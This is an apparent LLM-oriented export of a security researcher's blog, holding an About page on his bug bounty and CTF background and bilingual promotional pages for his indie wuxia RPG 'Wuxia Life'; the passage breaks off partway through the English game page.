# 肉's Lab > 肉's Lab | CTF Writeup × 靶機實戰 × 程式筆記 - 資安技術研究與分享空間 Public Ghost content for AI and LLM tooling. This file includes a bounded export of public pages first, then recent public posts. Append `.md` to any post or page URL to get the content in Markdown (for example, `/example-post.md`). ## Pages ### About 肉's Lab URL: https://taiwanding.com/about/ Last updated: 2026-09-22T06:12:43.000Z Welcome to my security research space! I document my journey in cybersecurity — from CTF challenges to real-world bug bounty hunting. ## About Me Kevin Chen (肉) aka **IronStrongMan** — Security researcher based in Taiwan. - Ranked on [TWCERT/CC Bug Bounty Hall of Fame](https://www.twcert.org.tw/tw/cp-176-10405-17b7e-1.html?ref=taiwanding.com) - Active bug bounty hunter on [Intigriti](https://app.intigriti.com/profile/ironstrongman?ref=taiwanding.com) - Specializing in IoT/firmware security, web application testing, and vulnerability research ### CVE [9.15\. Advisory TFV-15 (CVE-2026-34878) — Trusted Firmware-A 2.10.33 documentation![](https://taiwanding.com/content/images/icon/favicon-8.ico)![](https://taiwanding.com/content/images/thumbnail/TrustedFirmware-Logo_standard-white.png)](https://trustedfirmware-a.readthedocs.io/en/lts-v2.10.33/security%5Fadvisories/security-advisory-tfv-15.html?ref=taiwanding.com) ## Products - 🎯 [**BountyBoard**](https://pcc402.gumroad.com/l/bountyboard?ref=taiwanding.com) — Notion template for bug bounty hunters. Track programs, vulnerabilities, and earnings. $9 on Gumroad. ## Learning Journey ### CTF & Web Security - picoCTF — Started with foundational CTF challenges - OWASP Juice Shop — Completed 1-2 star challenges, ongoing - crAPI — API security testing - PortSwigger Web Security Academy — Systematic web vulnerability training ### Hands-on Labs - VulnHub — Multiple easy machine walkthroughs - TryHackMe — Completed Simple CTF, Root Me, Pickle Rick, and more - Classic labs — DVWA, WebGoat ## Content - CTF writeups and walkthroughs - Machine walkthroughs - Web vulnerability research notes - Penetration testing tool guides - Bug bounty field notes ## Acknowledgments - Companies that recognized my bug bounty work: **Dcard, BriteMed, Advantech, IEI, Taipower, OEN** - Platforms that helped me grow: **Intigriti** and all the companies on it that accepted my reports ## Find Me - HITCON ZeroDay: **kevin2758** - Email: pcc402@nyu.edu - CTF Team: [TaiwanDing on CTFtime](https://ctftime.org/?ref=taiwanding.com) — Open CTF team from Taiwan, all levels welcome! [CTFtime.org / TaiwanDingTaiwanDing 是來自台灣的開放式 CTF 戰隊, 非常歡迎各個級別加入——從新手到老手都 OK! 我的興趣:Web、Crypto、Reverse 我們鼓勵一起練...,TaiwanDing![](https://taiwanding.com/content/images/icon/favicon.png)CTFtimectftime team![](https://taiwanding.com/content/images/thumbnail/unnamed_51.jpg)](https://ctftime.org/team/406022?ref=taiwanding.com) *All technical content on this site is for educational and research purposes only.* ![](https://taiwanding.com/content/images/2025/10/Screenshot-2025-10-22-143943.png) ![](https://taiwanding.com/content/images/2025/10/Screenshot-2025-10-22-143837.png) ![](https://taiwanding.com/content/images/2025/12/image.png) ![](https://taiwanding.com/content/images/2026/02/image.png) ## **Support** If you find my content helpful, consider: - 🎯 Grabbing [BountyBoard](https://pcc402.gumroad.com/l/bountyboard?ref=taiwanding.com) — my Notion template for bug bounty hunters - 💳 PayPal [Pay 陳 柏淳 using PayPal.MeGo to paypal.me/pochun0704 and type in the amount. Since it’s PayPal, it’s easy and secure. Don’t have a PayPal account? No worries.![](https://taiwanding.com/content/images/icon/pp258.png)PayPal.Me![](https://taiwanding.com/content/images/thumbnail/pplogo384.png)](https://paypal.me/pochun0704?ref=taiwanding.com) - 📱 街口支付 ![](https://taiwanding.com/content/images/2025/10/image-2.png) ### 🚩 CTF Writeups URL: https://taiwanding.com/ctf/ Last updated: 2025-08-29T05:54:28.000Z _No content available._ ### 🔎 Tool URL: https://taiwanding.com/tool/ Last updated: 2025-09-01T14:59:25.000Z _No content available._ ### 🖥️ 靶機實戰 URL: https://taiwanding.com/machine/ Last updated: 2025-09-06T02:30:20.000Z _No content available._ ### 🎯 CTF 成就儀表板 URL: https://taiwanding.com/ctf-cheng-jiu-yi-biao-ban/ Last updated: 2026-07-14T16:10:00.000Z ## ⚡ 載入中... 正在抓取你的 CTF 成就資料 ### 全站文章搜尋 URL: https://taiwanding.com/quan-wen-zh/ Last updated: 2026-07-14T16:10:00.000Z 🏢 平台標籤 0 ⚙️ 技術標籤 0 📦 其他標籤 0 🗑️ 清除所有篩選 總文章數 \- 符合篩選 \- 已選標籤 0 ✓ 必須同時符合以下標籤: 📝 文章列表 載入文章中... 第一頁 上一頁 \- 下一頁 最後一頁 ### 武俠人生 URL: https://taiwanding.com/wuxialife/ Last updated: 2026-09-19T06:10:31.000Z **Demo 開放下載** · Early Access 2027 Q1 # 在*瀛洲島*上,你每個選擇 都會被心裡*五種聲音*聽見 On the isle of Yingzhou, every choice is heard by five voices in your head. [Read in English](https://taiwanding.com/wuxialife-en/) [ 下載試玩版 · Steam ](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) [ 加入願望清單 ](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) [ 觀看預告 ](#trailer) 試玩版*免費* · Windows 10/11 · 繁體中文/English · 存檔可繼承 Early Access SCROLL [媒體](#trailer) [試玩版](#demo) [關於此遊戲](#about) [戰鬥](#combat) [門派](#sects) [結局](#endings) [Early Access](#ea) [系統需求](#sysreq) [最新消息](#news) [Steam](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) MEDIA · OVERVIEW ## 預告片與*實機畫面* ![主選單/標題畫面(v0.9.9.9)](https://taiwanding.com/content/images/2026/09/ss01.webp) Click for sound 官方預告片(2026 年 9 月・80 秒) 1 / 11 - ![](https://taiwanding.com/content/media/2026/09/trailer_zh_720_thumb.webp) - ![主選單/標題畫面(v0.9.9.9)](https://taiwanding.com/content/images/2026/09/ss01_thumb.webp) - ![蘆洲村:村內場景與「江湖要務」任務面板](https://taiwanding.com/content/images/2026/09/ss02_thumb.webp) - ![村口街道的 ATB 戰鬥(對戰山賊)](https://taiwanding.com/content/images/2026/09/ss03_thumb.webp) - ![羈絆角色蘇小雪的對話(深入交談/贈禮/議事)](https://taiwanding.com/content/images/2026/09/ss04_thumb.webp) - ![同伴面板:青雲門弟子雲清霜](https://taiwanding.com/content/images/2026/09/ss05_thumb.webp) - ![居所系統:購買、裝修、接待訪客](https://taiwanding.com/content/images/2026/09/ss06_thumb.webp) - ![瀛洲島水墨世界地圖](https://taiwanding.com/content/images/2026/09/ss07_thumb.webp) - ![坐騎與冠軍令牌兌換(賽馬)](https://taiwanding.com/content/images/2026/09/ss08_thumb.webp) - ![武學殘卷:集齊碎片習得隱藏武學](https://taiwanding.com/content/images/2026/09/ss09_thumb.webp) - ![江湖筆錄:玩家建議採納紀錄](https://taiwanding.com/content/images/2026/09/ss10_thumb.webp) ![《武俠人生》Steam 標題圖](https://taiwanding.com/content/images/2026/09/header_tchinese.webp) 你從未真正認識自己的父親。《武俠人生》是一款架空瀛洲島單機武俠 RPG,從蘆洲村踏入江湖,追查父親之死與身世真相,揭開黑潮幫出賣瀛洲的陰謀,加入門派、結識同伴,在 ATB 戰鬥、五心音、心魔與天道說書人的拉扯中,走向你的江湖結局。 試玩版 *2026 年 9 月 18 日開放*・免費 搶先體驗 預計 2027 年第 1 季 開發/發行 肉's Lab 平台 Windows 10/11(64 位元) 語言 繁體中文、English(介面與字幕) 冒險獨立製作角色扮演策略搶先體驗 [下載試玩版 · Steam](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) [加入願望清單](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) Free Demo · Out Now ## 下載《武俠人生》*試玩版* 2026 年 9 月 18 日開放·免費·Windows 10/11(64 位元)·繁體中文/English 試玩版不是縮水的片段,而是完整的*「第一部」*——從狼患起手、父案揭露,到肅清黑潮幫的鹿津港決戰。 主線直衝約四小時,把系統摸熟、支線做一輪六到八小時以上。 - **完整第一部主線:**蘆洲村 → 官道 → 鹿津港,一路打到黑潮幫頭目,收在一個指向更大局的伏筆上。 - **四人隊伍與培養:**主角配點、學武、內功與周天修煉;招募夥伴;開局就能在村長家三選一領御三家寵物;坐騎升級與賽馬。 - **五大門派:**Lv10 起皆可入門(其中三派山門在試玩地圖之外,靠門派面板傳送往返),門派任務鏈、絕學修習。 - **六場江湖大事:**春節燈謎會、賽馬大會、門派大比、少年英雄會、五派會武、最強宗門戰——每一場都是可以「走進去」的 3D 會場,部分有季節或資格條件。 - **八款市井小遊戲:**賭坊三桌(骰子、拉霸、二十一點)、抓雞、碼頭搬貨、武館切磋、釣魚、春節燈謎,戰績會記進成就面板。 - **心境系統與其他:**心魔、五種內心聲音、說書人與壓力指數;懸賞(Lv15)、奇遇、鑄造,以及一條可以慢慢經營的戀愛線。 **試玩存檔可以繼承 Early Access。**試玩版的存檔(含成就)將可一鍵匯入 EA 版——EA 版首次啟動、還沒有任何存檔時匯入;EA 前若存檔格式有調整,也會一併做相容。你現在養的角色、立下的誓、結下的緣,會跟著你走。(匯入功能開發中) FREE免費試玩版 [下載試玩版 · Steam](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) 到 Steam 商店頁按「下載試玩版」即可安裝。 --- 已安裝 Steam?可直接執行: --- [閱讀上架公告:《武俠人生》Demo 上架了 →](https://taiwanding.com/wu-xia-ren-sheng-demo-shang-jia-liao/) ![你從未真正認識自己的父親](https://taiwanding.com/content/images/2026/09/extra01.webp) ABOUT THIS GAME ## *關於此遊戲* 《武俠人生》是一款以架空瀛洲島為舞台的單機武俠 RPG。你從蘆洲村起步,追查父親之死與自己的身世,父親留下的線索,將你帶進門派恩怨、江湖傳聞、*黑潮幫*暗流,以及瀛洲島逐漸失衡的局勢之中。 有人避而不談,有人只敢留下半句話,也有人把真相藏進舊信、殘卷與酒後傳聞。你要追的不只是仇人,而是父親真正走過的路,以及瀛洲為什麼會被推向黑潮。 在這條路上,你會加入門派、結識同伴、培養羈絆、捕捉寵物、打造裝備,也會在殺意、慈悲、傲氣、道心與機心之間,一次次決定自己要成為什麼樣的人。 ![蘆洲村:村內場景與江湖要務任務面板](https://taiwanding.com/content/images/2026/09/extra02.webp) 蘆洲村——一切從這裡開始:村內場景與「江湖要務」任務面板 ![瀛洲島水墨世界地圖](https://taiwanding.com/content/images/2026/09/extra03.webp) 瀛洲島水墨世界地圖——試玩版開放蘆洲村、官道與鹿津港 ![五心音、心魔與天道說書人](https://taiwanding.com/content/images/2026/09/extra04.webp) ![羈絆角色蘇小雪的對話(深入交談/贈禮/議事)](https://taiwanding.com/content/images/2026/09/ss04.webp) 實機畫面 — 對話中的每個選擇,都會被心裡的聲音聽見 CORE MECHANIC · 01 ## *五心音*、心魔 與天道說書人 你的選擇不只改變善惡,也會讓主角心裡某一種聲音變得更清楚。心魔會隨選擇累積,並在壓力過高時觸發走火入魔事件。 - 殺 殺意 KILLING INTENT 血債血償,不再等待。 - 悲 慈悲 COMPASSION 即使痛苦,也不讓仇恨替你活。 - 傲 傲氣 PRIDE 不做任何人的影子,也不讓出身定義自己。 - 道 道心 DAO HEART 真相要大白,公義也要守住底線。 - 機 機心 GUILE 先看清局勢,再決定何時出手。 CORE MECHANIC · 02 ## *天道說書人*——同一條江湖路, 會因為你的選擇留下不同回響 天道說書人會根據正道、隱世、亂世三種節奏,推動旅途中的事件、傳聞與線索,並盯著你的壓力指數—— 太紅就被仇家盯上,太平就被邀上擂台,太窮就遇上便宜的機緣。 RHYTHM · I ### 正道 Righteous / Steady 穩定漸進的壓力曲線——仇家來得不多不少,機緣給得剛好夠你成長。適合第一次踏入瀛洲的玩家。 穩健成長 RHYTHM · II ### 隱世 Hidden / Bursty 長期平靜,偶爾一場大事件爆發。適合想專心練功、交友、修行的玩家——事件少,但每一次都留下印記。 長線修煉 RHYTHM · III ### 亂世 Chaotic / Dense 高密度的隨機事件、奇遇與機緣交叉而來。適合老手與第二輪——連你自己都不知道下一步會發生什麼。 高潮迭起 5 大門派 6 場江湖大事 8 款市井小遊戲 27 種結局 ![ATB 戰鬥與 6 格技能配置](https://taiwanding.com/content/images/2026/09/extra05.webp) 實機片段 — ATB 戰鬥與 3D 戰場 COMBAT ## *ATB 戰鬥*與 6 格技能配置 戰鬥採用 ATB 節奏,速度會影響出手順序。你可以手動操作每次出招,也可以在低壓戰鬥或刷材料時開啟自動戰鬥。 - **6 格主動技能:**依照冷卻回合、武器需求、裝備詞條與隊伍定位安排出手。 - **倍速戰鬥:**支援 1x/2x/4x/8x 節奏切換。 - **智慧自動戰鬥:**會自己選招,Boss 蓄力時自動防禦;Boss 大招有全螢幕演出。 - **3D 戰場:**呈現角色站位、技能特效、傷害回饋與戰鬥節奏。 - **副本挑戰:**面對波次、Boss、掉落、階段挑戰與通關獎勵。 這款遊戲的核心是*「養」*——Boss 打不過,多半是還沒養到位,而不是手不夠快。遊玩無需快速反應。 ![五大門派與江湖立場](https://taiwanding.com/content/images/2026/09/extra07.webp) 實機片段 — 入門儀式、門派任務與晉升事件 SECTS ## *五大門派*與江湖立場 瀛洲江湖有五大門派可加,每一派都有自己的入門儀式、武學路線、門派任務與晉升事件。試玩版中五大門派 Lv10 起皆可入門。 青雲門Qingyun Sect 以劍守道,重視劍心與取捨。 SWORD 鐵獅堂Iron Lion Hall 以拳刀鍛骨,重視義氣與擔當。 FIST & BLADE 藥王谷Medicine King Valley 醫毒同源,救人與懲惡都要付出代價。 MEDICINE 玄武閣Xuanwu Pavilion 守勢與反擊,重視忍耐、護持與底線。 GUARD 浪跡門Wanderer's Gate 情報、暗器與江湖路,重視自由與不賣朋友。 ROVER 門派不是單純技能商店,晉升、任務與門派事件會讓你面對真正的*立場選擇*:要不要公開審問叛徒、是否為疫村冒險開谷、該不該庇護難民、哪些情報不能賣。 ![同伴、羈絆、寵物與坐騎](https://taiwanding.com/content/images/2026/09/extra09.webp) PARTY · BONDS · PETS · MOUNTS ## *同伴、羈絆*、 寵物與坐騎 你不是一個人走完瀛洲。旅途中,你可以招募同伴、培養羈絆角色、捕捉寵物、取得坐騎,並組成自己的四人隊伍配置。 - **同伴:**透過任務加入隊伍,負責不同戰鬥定位。 - **羈絆角色:**好感度事件、專屬技能與合體技;七條羈絆線各有專屬收尾。 - **寵物:**捕捉、養成、出戰,提供技能與戰鬥加成——開局就能在村長家三選一領御三家寵物。 - **坐騎:**影響移動、地形適性,並參與部分玩法(例如賽馬)與戰鬥技能。 隊伍編成以主角為核心,搭配門派武學、內功、輕功、裝備、稱號、夥伴、寵物與坐騎,讓你用自己的方式面對主線、秘境、競技場與江湖事件。 實機片段 — 同伴、寵物與隊伍 ![同伴面板:青雲門弟子雲清霜](https://taiwanding.com/content/images/2026/09/ss05.webp) 同伴面板:青雲門弟子雲清霜 ![坐騎與冠軍令牌兌換(賽馬)](https://taiwanding.com/content/images/2026/09/ss08.webp) 坐騎與冠軍令牌兌換(賽馬) ![馬廄與坐騎面板](https://taiwanding.com/content/images/2026/09/extra11.webp) 馬廄與坐騎面板:培養你的坐騎 ![江湖會記得你](https://taiwanding.com/content/images/2026/09/extra12.webp) THE JIANGHU REMEMBERS ## *江湖會記得你* 瀛洲不是只等你接任務的地圖。你說過的話、做過的事、放過的人、殺過的人,都可能在江湖裡留下痕跡。 這些系統的目標不是把內容堆成清單,而是讓玩家感覺:瀛洲會慢慢記住你。部分關鍵場景也只會發生一次——例如雨夜救人、師父託付、青梅尋你與退隱抉擇。 - I宿敵可能記得你在武林大會上的選擇。 - II青梅可能留下平安符。 - III師父可能在關鍵時刻託付舊劍。 - IV路人會談起地區流言、小道消息與你最近做過的事。 - V懸賞犯有自己的執念,放生或擊殺都會留下後果。 ![可遊玩的江湖循環](https://taiwanding.com/content/images/2026/09/extra13.webp) GAMEPLAY LOOP ## *可遊玩的江湖循環* 目前版本已包含多條可並行推進的玩法線。你可以專心推進父親留下的線索,也可以先把隊伍、門派、寵物、裝備與資源線打穩,再回頭面對瀛洲黑潮。 - 主線、支線、羈絆、日常與門派任務鏈。 - 門派修行、宗門大比、武道大會、競技場段位。 - 比武招親、懸賞通緝、押鏢路線與世界奇遇。 - 鍛造、煉丹、製作、強化、圖鑑、遊戲內成就與結局收集。 - 武學殘卷、頓悟、秘境、副本、Boss 挑戰與後期試煉。 ### 六場江湖大事World Events 每一場都是可以*「走進去」*的 3D 會場,不是一張面板。部分大事有季節或資格條件,例如燈謎會要等到正月才開市。 Event · I 春節燈謎會 正月開市 Event · II 賽馬大會 坐騎與冠軍令牌 Event · III 門派大比 3D 會場 Event · IV 少年英雄會 3D 會場 Event · V 五派會武 3D 會場 Event · VI 最強宗門戰 3D 會場 ### 八款市井小遊戲Town Minigames 戰績會記進成就面板的「戰績」分頁。 賭坊・骰子賭坊・拉霸賭坊・二十一點 抓雞碼頭搬貨武館切磋釣魚春節燈謎 ![武學殘卷:集齊碎片習得隱藏武學](https://taiwanding.com/content/images/2026/09/ss09.webp) 武學殘卷:集齊碎片習得隱藏武學 ![居所系統:購買、裝修、接待訪客](https://taiwanding.com/content/images/2026/09/ss06.webp) 居所系統:購買、裝修、接待訪客 ENDINGS ## 你的*武俠人生*,不會與別人一樣 27ENDINGS 由等級、名望、善惡、婚姻、陣營立場與主線旗標共同決定。結局彼此排斥——這一局走向哪條,就看你替主角做了什麼選擇。 04 歸隱結局 落葉歸根 · 富貴閒人 · 大俠隱退 · 金盆洗手 07 主線結局 斷鎖者 · 守護者 · 叛離者 · 傳說者 · …… 05 門派結局 五大門派各自的掌門之路 07 羈絆結局 七條羈絆線 · 每位羈絆各有專屬收尾 04 特殊結局 深淵之主 · 白日飛昇 · 孤獨終路 · 布衣歸真 要看過全貌只能再走一次——你第一次會走向誰的人生,第二次又會選擇放下什麼? Early Access · 2027 Q1 ## 《武俠人生》已經不是概念展示, 而是可以實際遊玩的 *0.9 系列版本*。 我選擇搶先體驗,是因為《武俠人生》最需要打磨的,不只是功能是否存在,而是這些內容玩起來是否有足夠的重量。 身為獨立開發者,玩家回饋會直接影響正式版的調整方向——EA 不是把未完成的遊戲丟給玩家,而是讓玩家一起幫助這座瀛洲江湖變得更好。 2026.09.18 試玩版開放 完整第一部,免費。存檔(含成就)可繼承到 EA。 2027 Q1 Early Access 啟程 以較親民的價格提供;EA 購買者持續取得後續更新。 6–12 個月 搶先體驗期間 依玩家回饋、內容打磨、平衡調整與品質要求持續更新。 2027 年末 正式版 1.0 目標 若仍需要更多時間,會傾向延長 EA,而不是倉促推出。 **誠實更新:**之前一直寫「十一月中」,這裡更新為 **Early Access 預計落在 2027 年第一季**。原因很單純——我想把 Early Access 做好,所以會多花幾個月,端出一個讓自己和玩家們都滿意的 EA。 Now · 0.9 Series 目前 0.9 系列已包含 - ✓主線劇情:從蘆洲村起步,進入官道、鹿津港與瀛洲各地,以人間武林、父親真相與黑潮幫暗流為核心 - ✓ATB 戰鬥、6 格主動技能、倍速與自動戰鬥、3D 戰鬥場景 - ✓五大門派:各有武學路線、入門儀式、任務與晉升事件 - ✓五心音與心魔、走火入魔事件、天道說書人三種節奏 - ✓隊伍與成長:招募夥伴、羈絆角色、寵物、坐騎、裝備、稱號與武學殘卷 - ✓江湖記憶與傳聞、一次性事件(雨夜救人、師父託付、青梅尋你、退隱抉擇) - ✓江湖活動:押鏢、懸賞、比武招親、世界奇遇、宗門大比、武道大會與競技場段位 - ✓養成與收集:鍛造、煉丹、製作、強化、裝備詞條、圖鑑、遊戲內成就與多重結局 - ✓存檔安全:多角色槽位、手動/自動存檔、緊急備份、匯出/匯入存檔封包 In Progress 仍在打磨中 - ◇程式錯誤修正、平衡調整與 UI 細節 - ◇任務流程、地圖導引、支線密度與中後期節奏 - ◇父親線、黑潮幫與瀛洲主線的情感節奏 - ◇更多羈絆事件、門派事件、秘境內容與結局回響 - ◇Steam 成就與 Steam 雲端存檔整合的實機驗證與完善 - ◇3D 場景升級只做了一部分:六場江湖大事會場,以及抓雞、碼頭搬貨、賽馬、武館切磋、馬廄已完成 3D 會場(賭坊與釣魚是程序生成的 3D) - ◇英文版文案逐句校對中——看到半中半英或語意不順的地方,請直接回報 - ◇戰鬥數值與培養引導:把「該去養什麼」講得更清楚,而不是把 Boss 砍弱 - ◇部分面板的轉場與動效仍在絲滑化 正式版 1.0 的方向 在 0.9 系列的基礎上,讓主線情感、系統回饋、內容密度與整體穩定度更加完整:精修父親線、黑潮幫與瀛洲危機的主線節奏;增加更多羈絆角色事件、門派晉升事件、支線與結局回響;擴充「江湖會記得你」相關內容;持續調整 ATB 戰鬥節奏、門派平衡、技能冷卻、寵物與坐騎數值;打磨 UI、地圖導引、任務提示、教學流程與中後期節奏;持續精修水墨工筆風 UI、地圖、場景與演出資產;評估可調整難度與輔助模式;驗證並完善 Steam 成就與 Steam 雲端存檔整合。 正式版之後,也會評估 Steam Workshop 或其他玩家自訂內容的可能性,不過這些仍屬於長期規劃,現階段不會承諾固定功能或推出時間。 售價 搶先體驗期間,《武俠人生》會以較親民的價格提供,感謝早期玩家願意在開發中期支持這款作品。隨著內容持續擴充、系統更加穩定、主線與羈絆事件更加完整,我計畫在接近正式版 1.0 時逐步調整售價。搶先體驗期間購買的玩家,將可以持續取得後續正式版更新,不需要因為遊戲離開 EA 而重新購買本體。 與社群一起打磨 我會主要透過 Steam 社群討論區、Steam 公告與開發日誌與玩家互動。我是一名獨立開發者,能做的事情有限,但玩家的回報與建議我都會閱讀。 - **Steam 討論區:**回報 bug、提出建議或分享遊玩經歷。 - **問題回報表單:**遊戲內設定面板也有「回報問題」按鈕,會自動帶入版本與所在地點。 - **許願版:**想要什麼功能、覺得哪裡該改,都可以貼。 - **重大更新前後:**必要時會用問卷或投票,收集玩家對關鍵系統調整的看法。 [Steam 討論區](https://steamcommunity.com/app/4658980/discussions/?ref=taiwanding.com) [問題回報表單](https://feedback.taiwanding.com/s/cmqusyn91000301pn3hqfsxhd?ref=taiwanding.com) [許願版](https://ideas.taiwanding.com/?ref=taiwanding.com) ![江湖筆錄:玩家建議採納紀錄](https://taiwanding.com/content/images/2026/09/ss10.webp) 江湖筆錄:玩家建議採納紀錄 [ 加入願望清單 ](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) [ 下載試玩版 ](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) STEAM ## Steam *資訊* Genres · 類型 冒險獨立製作角色扮演策略搶先體驗 Features · 功能 單人Steam 成就Steam 雲端親友同享可調整難度隨時儲存可調整文字大小自訂音量控制遊玩無需快速反應 Languages · 語言 繁體中文、English 介面與字幕 Platform · 平台 Windows 10/11(64 位元) 試玩版:免費,Windows Release · 發行日期 搶先體驗:2027 第 1 季 試玩版:2026 年 9 月 18 日已開放 Developer · 開發/發行 肉's Lab [taiwanding.com](https://taiwanding.com/) Steam App ID 4658980 試玩版 App ID:4919790 Tech · 技術 React + TypeScript + Zustand Three.js(3D 場景)· Electron ### 系統需求System Requirements | | Minimum最低配備 | Recommended建議配備 | | ------- | ---------------------------------------------------------- | --------------------------------------------------- | | 作業系統 | Windows 10(64-bit) | Windows 10/11(64-bit) | | 處理器 | Intel Core i3-6100 / AMD Ryzen 3 1200 or equivalent | Intel Core i5-8400 / AMD Ryzen 5 2600 or equivalent | | 記憶體 | 4096 MB 記憶體 | 8192 MB 記憶體 | | 顯示卡 | Integrated GPU / NVIDIA GeForce GT 730 / AMD Radeon HD 777 | NVIDIA GeForce GTX 1050 / AMD Radeon RX 560 | | DirectX | 版本:11 | 版本:11 | | 儲存空間 | 2048 MB 可用空間 | 2048 MB 可用空間 | 需要 64 位元的處理器及作業系統。 ### AI 生成內容聲明 開發者針對他們的遊戲使用 AI 生成內容方式的說明如下: 本作所有遊戲內視覺美術素材(包含物品圖示、裝備美術、角色立繪、劇情插圖,以及 UI 裝飾框、icon、背景紋理等)皆使用 OpenAI ChatGPT 圖像生成與 xAI Grok 圖像生成 API 作為水墨工筆風格美術流程的核心工具產生,所有生成素材均經開發者人工審核、篩選、後製修正與構圖調整後才納入遊戲,未使用任何真實人物之肖像或樣貌。 遊戲程式碼由開發者 Kevin Chen 撰寫,開發過程中使用 OpenAI Codex 與 Anthropic Claude Code 作為輔助編程工具,劇情對話由開發者撰寫,部分內容使用 Anthropic Claude 協助潤稿與校對。 NEWS · DEV LOG ## 最新消息與*開發日誌* - 2026.09.18 [《武俠人生》Demo 上架了完整第一部主線、六場可以走進去的江湖大事、八款市井小遊戲——存檔可繼承到 Early Access](https://taiwanding.com/wu-xia-ren-sheng-demo-shang-jia-liao/) [部落格全文](https://taiwanding.com/wu-xia-ren-sheng-demo-shang-jia-liao/)[Steam 公告](https://store.steampowered.com/news/app/4658980/view/680761758839734908?ref=taiwanding.com) - 2026.08.04 [《武俠人生》近況——一些心裡話關於前陣子的風波,以及我為什麼會繼續做下去。](https://store.steampowered.com/news/app/4658980?ref=taiwanding.com) [Steam 公告](https://store.steampowered.com/news/app/4658980?ref=taiwanding.com) - 2026.05.11 [一個會記得你的江湖,和七場婚禮](https://store.steampowered.com/news/app/4658980?ref=taiwanding.com) [Steam 公告](https://store.steampowered.com/news/app/4658980?ref=taiwanding.com) - 2026.05.01 [Dev Update #1](https://store.steampowered.com/news/app/4658980?ref=taiwanding.com) [Steam 公告](https://store.steampowered.com/news/app/4658980?ref=taiwanding.com) [開發日誌全部文章](https://taiwanding.com/tag/wu-xia/) [Steam 新聞中心](https://store.steampowered.com/news/app/4658980?ref=taiwanding.com) [四月:商店頁上架公告](https://taiwanding.com/wu-xia-ren-sheng-wuxia-life/) 這一個禮拜,江湖就先交給各位了。 ## 試玩版免費——*現在就走進瀛洲* 如果這片江湖合你眼緣,歡迎把《武俠人生》加入願望單——Early Access 啟程時,第一時間與你相見。 [下載試玩版 · Steam](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) [加入願望清單](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) [聯絡開發者](mailto:pcc402@nyu.edu) [Steam 商店頁](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) [討論區](https://steamcommunity.com/app/4658980/discussions/?ref=taiwanding.com) [問題回報](https://feedback.taiwanding.com/s/cmqusyn91000301pn3hqfsxhd?ref=taiwanding.com) [許願版](https://ideas.taiwanding.com/?ref=taiwanding.com) [開發日誌](https://taiwanding.com/tag/wu-xia/) [pcc402@nyu.edu](mailto:pcc402@nyu.edu) [English](https://taiwanding.com/wuxialife-en/) © 2026 *肉's Lab* · MADE IN TAIWAN ### Wuxia Life URL: https://taiwanding.com/wuxialife-en/ Last updated: 2026-09-19T06:10:32.000Z **Demo Out Now** · Early Access 2027 Q1 # On *Yingzhou Isle*, every choice is heard by *five voices* in your head On the isle of Yingzhou, every choice is heard by five voices in your head. [繁體中文](https://taiwanding.com/wuxialife/) [ Download the Demo · Steam ](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) [ Add to Wishlist ](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) [ Watch Trailer ](#trailer) Demo*Free* · Windows 10/11 · Traditional Chinese / English · Save carries into Early Access SCROLL [Media](#trailer) [Demo](#demo) [About This Game](#about) [Combat](#combat) [Sects](#sects) [Endings](#endings) [Early Access](#ea) [System Requirements](#sysreq) [News](#news) [Steam](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) MEDIA · OVERVIEW ## Trailer & *Gameplay* ![Title screen & main menu (v0.9.9.9)](https://taiwanding.com/content/images/2026/09/en_ss01.webp) Click for sound Official trailer (September 2026 · 75 seconds) 1 / 11 - ![](https://taiwanding.com/content/media/2026/09/trailer_en_720_thumb.webp) - ![Title screen & main menu (v0.9.9.9)](https://taiwanding.com/content/images/2026/09/en_ss01_thumb.webp) - ![Luzhou Village with the Matters of the Jianghu quest panel](https://taiwanding.com/content/images/2026/09/en_ss02_thumb.webp) - ![ATB street battle against bandits](https://taiwanding.com/content/images/2026/09/en_ss03_thumb.webp) - ![Bond dialogue with Su Xiaoxue (talk / gift / event)](https://taiwanding.com/content/images/2026/09/en_ss04_thumb.webp) - ![Companion panel: Yun Qingshuang of Qingyun Sect](https://taiwanding.com/content/images/2026/09/en_ss05_thumb.webp) - ![Residence system: buy, renovate, receive visitors](https://taiwanding.com/content/images/2026/09/en_ss06_thumb.webp) - ![Ink-wash world map of Yingzhou Isle](https://taiwanding.com/content/images/2026/09/en_ss07_thumb.webp) - ![Mounts & Champion Token exchange (horse racing)](https://taiwanding.com/content/images/2026/09/en_ss08_thumb.webp) - ![Martial Manuscripts: collect fragments to master hidden arts](https://taiwanding.com/content/images/2026/09/en_ss09_thumb.webp) - ![Jianghu Advisors: a record of accepted player suggestions](https://taiwanding.com/content/images/2026/09/en_ss10_thumb.webp) ![Wuxia Life Steam header image](https://taiwanding.com/content/images/2026/09/header_en.webp) You never truly knew your father. Wuxia Life is a single-player wuxia RPG set on Yingzhou. Investigate his death and your origins, expose the Blacktide Gang's betrayal of Yingzhou, and shape your ending through ATB combat, Five Inner Voices, inner demons, and the Heavenly Storyteller. Demo *Released Sept 18, 2026* · Free Early Access Planned for Q1 2027 Developer / Publisher 肉's Lab Platform Windows 10/11 (64-bit) Languages Traditional Chinese, English (interface & subtitles) AdventureIndieRPGStrategyEarly Access [Download the Demo · Steam](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) [Add to Wishlist](https://store.steampowered.com/app/4658980/?ref=taiwanding.com) Free Demo · Out Now ## Download Wuxia Life *Demo* Released Sept 18, 2026·Free·Windows 10/11 (64-bit)·Traditional Chinese / English This isn't a trimmed slice. The demo is the complete *first act* — from the wolf attacks and the reveal behind your father's case to the showdown that clears the Blacktide Gang out of Lujin Harbor. Rushing the main story takes about four hours; learning the systems and doing a round of side quests is six to eight hours or more. - **The complete first act:** Luzhou Village → Official Road → Lujin Harbor, all the way to the Blacktide chief, ending on a hook that points at something much bigger. - **A party of four, and the raising that comes with it:** Allocate stats, learn martial arts and inner arts, push through circuits of cultivation; recruit 